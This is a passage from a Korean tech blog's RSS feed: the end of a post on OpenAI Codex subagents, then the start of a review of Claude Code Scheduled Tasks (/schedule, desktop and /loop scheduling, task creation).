&lt;p data-ke-size=&quot;size16&quot;&gt;임베딩 전략&amp;middot;청킹&amp;middot;벡터 DB 선택은 &lt;code&gt;llm-architect&lt;/code&gt;가 담당하고, 프롬프트 인젝션&amp;middot;API 키 노출은 &lt;code&gt;security-auditor&lt;/code&gt;가 독립 컨텍스트에서 스캔한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 에이전트 모두 스타터 킷 7에 포함되어 있으므로 별도 설치 없이 바로 실행된다.&lt;/p&gt;
&lt;pre class=&quot;1c&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# RAG 아키텍처 + 보안 병렬 검토
&quot;현재 rag_service.py를 기반으로 프로덕션 RAG 시스템을 개선하고 싶다.
  - llm-architect가 청킹 전략, 임베딩 모델 선택, 리랭킹 파이프라인을 검토해줘
  - security-auditor가 프롬프트 인젝션, API 키 노출, 입력 검증 취약점을 스캔해줘
  두 검토를 종합해서 개선 우선순위 목록을 만들어줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;운영 팁&lt;/b&gt;: 코드 작업용 에이전트는 &lt;code&gt;gpt-5.4&lt;/code&gt; + &lt;code&gt;model_reasoning_effort = &quot;high&quot;&lt;/code&gt;로 유지하는 것이 실용적인 균형이다. 두 그룹을 &lt;code&gt;~/.codex/agents/&lt;/code&gt;에 한 번 설치하면 모든 프로젝트에서 재사용된다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 참고 자료 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;참고 자료&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Subagents 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Subagents Concepts 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Customization 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent/awesome-codex-subagents GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-agent-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent/awesome-agent-skills GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-claude-code-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent/awesome-claude-code-subagents GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://simonwillison.net/2026/Mar/16/codex-subagents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison - Use subagents and custom agents in Codex (2026-03-16)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@richardhightower/codex-gets-subagents-the-parallel-ai-coding-pattern-is-now-industry-standard-how-does-it-stack-35bd217ef11f&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rick Hightower - Codex Gets Subagents: The Parallel AI Coding Pattern Is Now The De Facto Industry Standard (2026-03-21)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://deepakness.com/raw/codex-subagents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Deepakness - Just ask and Codex can now spin up subagents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://yozm.wishket.com/magazine/detail/3666/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;요즘IT - Codex 서브에이전트 모음집 awesome-codex-subagents 소개&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/ChatGPT(Codex)</category>
      <category>AI 코딩 자동화</category>
      <category>awesome-codex-subagents</category>
      <category>Claude Code 서브에이전트 비교</category>
      <category>Codex subagents GA</category>
      <category>Codex 서브에이전트</category>
      <category>OpenAI Codex CLI</category>
      <category>TOML 에이전트 설정</category>
      <category>VoltAgent</category>
      <category>병렬 AI 에이전트</category>
      <category>컨텍스트 오염 해결</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/567</guid>
      <comments>https://goddaehee.tistory.com/567#entry567comment</comments>
      <pubDate>Sat, 28 Mar 2026 17:43:43 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 신기능 'claude code Scheduled Tasks' 리뷰 : 알아서 일하는 동료 AI: Claude Code /schedule로 업무 자동화 하기(Cowork 예약 vs Claude Code)</title>
      <link>https://goddaehee.tistory.com/566</link>
      <description>&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span
      style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요!
      갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span
      style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;노트북을
      닫으면 끝나는 AI는 요즘시에대서는 반쪽짜리 취급을 받을 수 있을 것 같다. 요즘은 스케쥴링이 필수인것 처럼 느껴지기도 한다. OpenClaw가 인기를 끌기시작했을 무렵부터 빠르게 트렌드가 변화하는 것
      같다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;이때문인지 Claude Cowork의 스케쥴 태스크가 나온지 얼마 안되 이제 Claude Code또한 &lt;b&gt;혼자서 정해진 시간에 일어나서 일할 수 있게 되었다.&lt;/b&gt;
  &lt;/p&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2490&quot; data-origin-height=&quot;1412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kJCxk/dJMcabQ9n4j/VZqYjLBdJOybA6IeSMEsxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kJCxk/dJMcabQ9n4j/VZqYjLBdJOybA6IeSMEsxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kJCxk/dJMcabQ9n4j/VZqYjLBdJOybA6IeSMEsxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkJCxk%2FdJMcabQ9n4j%2FVZqYjLBdJOybA6IeSMEsxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2490&quot; height=&quot;1412&quot; data-origin-width=&quot;2490&quot; data-origin-height=&quot;1412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&lt;code&gt;/schedule&lt;/code&gt; 명령어 하나면 클라우드 크론잡이 만들어지고, 노트북을 닫아도 돌아간다. Anthropic 내부에서도 CI 실패 자동 해결, 문서
    업데이트 자동화에 쓰고 있다고 한다. 이 글에서는 공식 문서를 기반으로 정리해 보려고 한다.&lt;/p&gt;
  &lt;!-- 목차 --&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
    &lt;h3
      style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot;
      data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
    &lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Scheduled Tasks 소개
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;왜 필요한가&lt;/li&gt;
          &lt;li&gt;3가지 스케줄링 방식 비교&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cloud Scheduled Tasks (/schedule)
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;생성 방법 (CLI / 웹 / Desktop)&lt;/li&gt;
          &lt;li&gt;스케줄 옵션&lt;/li&gt;
          &lt;li&gt;리포지토리와 브랜치 규칙&lt;/li&gt;
          &lt;li&gt;커넥터와 환경&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Desktop Scheduled Tasks
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;로컬 vs 리모트&lt;/li&gt;
          &lt;li&gt;권한과 실행 조건&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLI /loop (세션 내 반복)
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;문법과 예시&lt;/li&gt;
          &lt;li&gt;cron 도구 (CronCreate/CronList/CronDelete)&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 활용 사례&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 주의사항&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork(웹) vs Claude Code(CLI) 차이점 정리
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;두 가이드 비교표&lt;/li&gt;
          &lt;li&gt;언제 어떤 걸 써야 하나&lt;/li&gt;
          &lt;li&gt;비개발자도 쓸 수 있는 활용 사례 (A~D)&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;
    &lt;b&gt;Claude Code Scheduled Tasks 가이드&lt;/b&gt;&lt;br /&gt;Claude Code는 3가지 스케줄링 방식을 제공한다: &lt;b&gt;Cloud&lt;/b&gt;(노트북 꺼도 실행),
    &lt;b&gt;Desktop&lt;/b&gt;(앱이 열려 있을 때), &lt;b&gt;/loop&lt;/b&gt;(세션 내). &lt;code&gt;/schedule&lt;/code&gt; 명령어로 클라우드 크론잡을 만들면 노트북을 닫아도 Claude가 혼자 일한다.
    &lt;br /&gt;Pro, Max, Team, Enterprise 모두 사용 가능. (출처: &lt;a
      href=&quot;https://docs.anthropic.com/en/docs/claude-code/scheduled-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 1 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Scheduled Tasks 소개&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 필요한가&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;지금까지 Claude Code는 &quot;사용자가 프롬프트를 입력해야 동작하는&quot; 도구였다. 내가 터미널 앞에 앉아 있을
    때만 일한다. 하지만 개발 업무 중에는 &lt;b&gt;사람이 안 봐도 반복적으로 실행되어야 하는 작업&lt;/b&gt;이 있다.&lt;/p&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;CI가 깨질 때마다 자동으로 원인 분석 + 수정 PR&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;매일 아침 문서 최신화 체크&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;매주 의존성 업데이트 + 테스트&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;다른 언어 라이브러리의 동기화 (Python &amp;harr; Go 트윈)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 엔지니어가 밝힌 내부 사용 사례가 인상적이다: &lt;i&gt;&quot;우리가 가장 좋아하는 내부 사용 사례
      &amp;mdash; Python 라이브러리를 개발하면서, 스케줄 잡으로 Claude가 Go 트윈 라이브러리를 통째로 유지보수하고 있다.&quot;&lt;/i&gt;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3가지 스케줄링 방식
    비교&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code는 세 가지 스케줄링 방식을 제공한다. 각각 실행 환경과 지속성이 다르다. (출처: &lt;a
      href=&quot;https://docs.anthropic.com/en/docs/claude-code/scheduled-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)
  &lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
        &lt;th style=&quot;padding: 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Cloud (/schedule)
        &lt;/th&gt;
        &lt;th style=&quot;padding: 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Desktop&lt;/th&gt;
        &lt;th style=&quot;padding: 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;/loop (CLI)&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;실행 환경&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Anthropic 클라우드&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;내 머신&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;내 머신&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;머신 꺼도 실행?&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;아니오 (앱 열려야 함)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;아니오 (세션 열려야 함)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;재시작 후 유지?&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;아니오 (세션 종료 시 삭제)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;로컬 파일 접근&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;아니오 (매번 fresh clone)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;최소 간격&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;1시간&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;1분&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;1분&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;권한 프롬프트&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;없음 (자율 실행)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;태스크별 설정 가능&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;세션 설정 상속&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;태스크 만료&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;없음 (영구)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;없음 (영구)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;반복 태스크 3일 후 자동 만료&lt;/b&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 요약: &lt;b&gt;&quot;노트북 닫아도 돌아가야 한다&quot; &amp;rarr; Cloud. &quot;로컬 파일을 만져야 한다&quot;
      &amp;rarr; Desktop. &quot;지금 이 세션에서 반복하고 싶다&quot; &amp;rarr; /loop.&lt;/b&gt;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 2 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Cloud Scheduled Tasks (/schedule)&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 강력한 옵션이다. Anthropic 클라우드에서 실행되므로 내 머신 상태와 무관하다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #f0e8ff; border-left: 4px solid #7c3aed; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;가장 간단한 예시 — 이런 느낌이다&lt;/b&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 12px 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# CLI에서 한 줄로 — 노트북 꺼도 매일 실행
/schedule daily at 9am: 리포지토리에 새로운 TODO 주석이 추가됐는지 확인하고 결과를 보고해라.&lt;/pre&gt;
    &lt;/div&gt;
    &lt;p style=&quot;margin: 8px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;이 한 줄이면 Anthropic 서버에 크론잡이 등록된다. 내 컴퓨터가 꺼져 있어도
      매일 오전 9시에 실행된다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;생성 방법&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;세 가지 진입점이 있다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 방법 1: CLI에서 대화형으로 생성
/schedule

# 방법 2: 설명과 함께 한 줄로 생성
/schedule daily PR review at 9am

# 방법 3: 기존 태스크 관리
/schedule list       # 모든 태스크 목록
/schedule update     # 태스크 수정 / 삭제
/schedule run        # 즉시 실행&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1904&quot; data-origin-height=&quot;148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eMrIDR/dJMcacieV0N/gvXO1mjOOBXX61BKxfMLnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eMrIDR/dJMcacieV0N/gvXO1mjOOBXX61BKxfMLnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eMrIDR/dJMcacieV0N/gvXO1mjOOBXX61BKxfMLnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeMrIDR%2FdJMcacieV0N%2FgvXO1mjOOBXX61BKxfMLnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1904&quot; height=&quot;148&quot; data-origin-width=&quot;1904&quot; data-origin-height=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;웹에서는 &lt;a href=&quot;https://claude.ai/code/scheduled&quot; target=&quot;_blank&quot;
      rel=&quot;noopener&quot;&gt;claude.ai/code/scheduled&lt;/a&gt;에 접속하여 &quot;New scheduled task&quot;를 클릭한다.&lt;/p&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dXnRw3/dJMcaco0kOD/mlnEEE54GXYG7dOpNADmP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dXnRw3/dJMcaco0kOD/mlnEEE54GXYG7dOpNADmP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dXnRw3/dJMcaco0kOD/mlnEEE54GXYG7dOpNADmP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdXnRw3%2FdJMcaco0kOD%2FmlnEEE54GXYG7dOpNADmP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1548&quot; height=&quot;704&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;704&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Desktop 앱에서는 사이드바의 Schedule 페이지에서 생성할 수 있다.&lt;/p&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;678&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVnx80/dJMcagStTfg/Kc1fOkBsMFF2wLqkLym091/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVnx80/dJMcagStTfg/Kc1fOkBsMFF2wLqkLym091/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVnx80/dJMcagStTfg/Kc1fOkBsMFF2wLqkLym091/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVnx80%2FdJMcagStTfg%2FKc1fOkBsMFF2wLqkLym091%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1828&quot; height=&quot;678&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;678&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스케줄 옵션&lt;/h3&gt;
